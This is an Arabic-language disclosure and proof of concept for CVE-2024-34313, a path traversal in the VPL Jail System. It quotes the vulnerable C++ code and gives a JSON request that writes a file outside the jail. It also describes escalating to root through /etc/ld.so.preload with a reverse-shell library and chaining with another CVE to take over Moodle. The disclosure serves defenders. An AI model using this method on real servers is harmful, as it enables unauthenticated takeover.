
☣️ يحتوي هذا المستودع على الوصف وإثبات المفهوم لـ CVE-2024-34313.
تم اكتشاف أن VPL Jail System حتى الإصدار v4.0.2 يحتوي على ثغرة اجتياز المسار (Path Traversal) تسمح بالكتابة التعسفية فوق الملفات وبالتالي رفع الامتيازات إلى المستخدم الجذر (root).
يمكن ربط هذه الثغرة مع CVE-2024-34312 للسيطرة على نسخة Moodle عن بُعد دون الحاجة إلى أي مصادقة مسبقة.
خادم الجيل (Jail) هو خادم مكتوب بلغة C++ يشغّل التعليمات البرمجية غير الموثوقة في بيئة معزولة (sandbox) كمستخدم غير ممتلَك. يستمع الخادم للاتصالات الواردة على منفذ محدد وينشئ عملية جديدة لكل اتصال.
تستقبل الدالة commandUpdate في jail.cpp خريطةً من الملفات ومحتوياتها من العميل.
يتم استدعاء ProcessMonitor::writeFile مع اسم الملف ومحتوياته، وهي ببساطة تدمج المجلد الرئيسي لمستخدم الجيل مع اسم الملف للحصول على المسار الكامل.
ثم يُكتب الملف إلى نظام الملفات باستخدام Util::writeFile.
يسمح هذا للمهاجم بكتابة ملفات تعسفية إلى نظام الملفات عبر اجتياز المسار (Path Traversal).
يمكن للمهاجم استخدام هذه الثغرة لاستبدال ملف /etc/ld.so.preload بمسار ملف كائن مشترك (shared object) سيتم تحميله بواسطة كل ملف تنفيذي مرتبط ديناميكيًا على النظام، كما هو موضح هنا. يمكن بعد ذلك استخدام ملف الكائن المشترك هذا لتنفيذ تعليمات برمجية تعسفية بصلاحيات الجذر، مثل فتح قشرة عكسية (reverse shell). ولتسهيل الاستغلال، يتم أيضًا تحميل ملف الكائن المشترك عند تنفيذ أي ملف ثنائي setuid، ويمكن أن يتضمن الطلب الموجه إلى الخادم سكربتًا يحاول تنفيذ ملف ثنائي setuid مثل sudo، مما يضمن تحميل ملف الكائن المشترك فورًا.
في التكوين الافتراضي لنظام الجيل، لا يحتاج المهاجم إلى أي مصادقة.
مثال على حمولة (payload) لكتابة ملف "hello-world.txt" إلى جذر النظام:
{
"method": "request",
"params": {
"filestodelete": [],
"files": {
"../../../hello-world.txt": "Hello, world!"
},
"fileencoding": {
"../../../hello-world.txt": 0
},
"adminticket": "82350372182271",
"pluginversion": 2021061600,
},
"id": "3-32354-684945600",
}
يمكن الحصول على adminticket بسهولة عن طريق إرسال طلب غير مصادق عليه إلى نظام الجيل. وعلى الرغم من اسمه، فهو مجرد شكل من أشكال رمز الجلسة. يمكن رفع الملفات الثنائية المشفرة بـ Base64 عن طريق تعيين fileencoding إلى 1.
فيما يلي مقتطف الكود الثغري:
bool Jail::commandUpdate(string adminticket, RPC &rpc){
processMonitor pm(adminticket);
try {
mapstruct files = rpc.getFiles();
Logger::log(LOG_INFO,"parse files %lu", (long unsigned int)files.size());
mapstruct fileencoding = rpc.getFileEncoding();
//Save files to execution dir and options, decode data if needed
for(mapstruct::iterator i = files.begin(); i != files.end(); i++){
string name = i->first;
string data = i->second->getString();
if ( fileencoding.find(name) != fileencoding.end()
&& fileencoding[name]->getInt() == 1 ) {
Logger::log(LOG_INFO, "Decoding file %s from b64", name.c_str());
data = Base64::decode(data);
if ( name.length() > 4 && name.substr(name.length() - 4, 4) == ".b64") {
name = name.substr(0, name.length() - 4);
}
}
Logger::log(LOG_INFO, "Write file %s data size %lu", name.c_str(), (long unsigned int)data.size());
pm.writeFile(name, data);
}
return true;
}
catch(...){
// ...
}
return false;
}
void processMonitor::writeFile(string name, const string &data) {
string homePath = getHomePath();
string fullName = homePath + "/" + name;
bool isScript = name.size()>4 && name.substr(name.size()-3) == ".sh";
if (isScript) { //Endline converted to linux
string newdata;
for (size_t i = 0; i < data.size(); i++) {
if (data[i] != '\r') {
newdata += data[i];
} else {
char p = ' ', n = ' ';
if (i > 0) p = data[i-1];
if (i + 1 < data.size()) n = data[i + 1];
if (p != '\n' && n != '\n') newdata += '\n';
}
}
Util::writeFile(fullName, newdata, getPrisonerID(), homePath.size() + 1);
}else{
Util::writeFile(fullName, data, getPrisonerID(), homePath.size() + 1);
}
}
static void Util::writeFile(string name, const string &data,uid_t user = 0,size_t pos = 0){
FILE *fd=fopen(name.c_str(),"wb");
if (fd == NULL) {
string dir = getDir(name);
Logger::log(LOG_DEBUG,"path '%s' dir '%s'",name.c_str(), dir.c_str());
if (dir.size())
createDir(dir,user,pos);
fd = fopen(name.c_str(),"wb");
if (fd == NULL)
throw HttpException(internalServerErrorCode
,"I can't write file");
}
if (data.size() > 0 && fwrite(data.data(), data.size(), 1, fd) != 1) {
fclose(fd);
throw HttpException(internalServerErrorCode
,"I can't write to file");
}
fclose(fd);
if (lchown(name.c_str(),user,user))
Logger::log(LOG_ERR, "Can't change file owner %m");
bool isScript = name.size() > 4 && name.substr(name.size() - 3) == ".sh";
if (chmod(name.c_str(), isScript ? 0700 : 0600))
Logger::log(LOG_ERR, "Can't change file perm %m");
}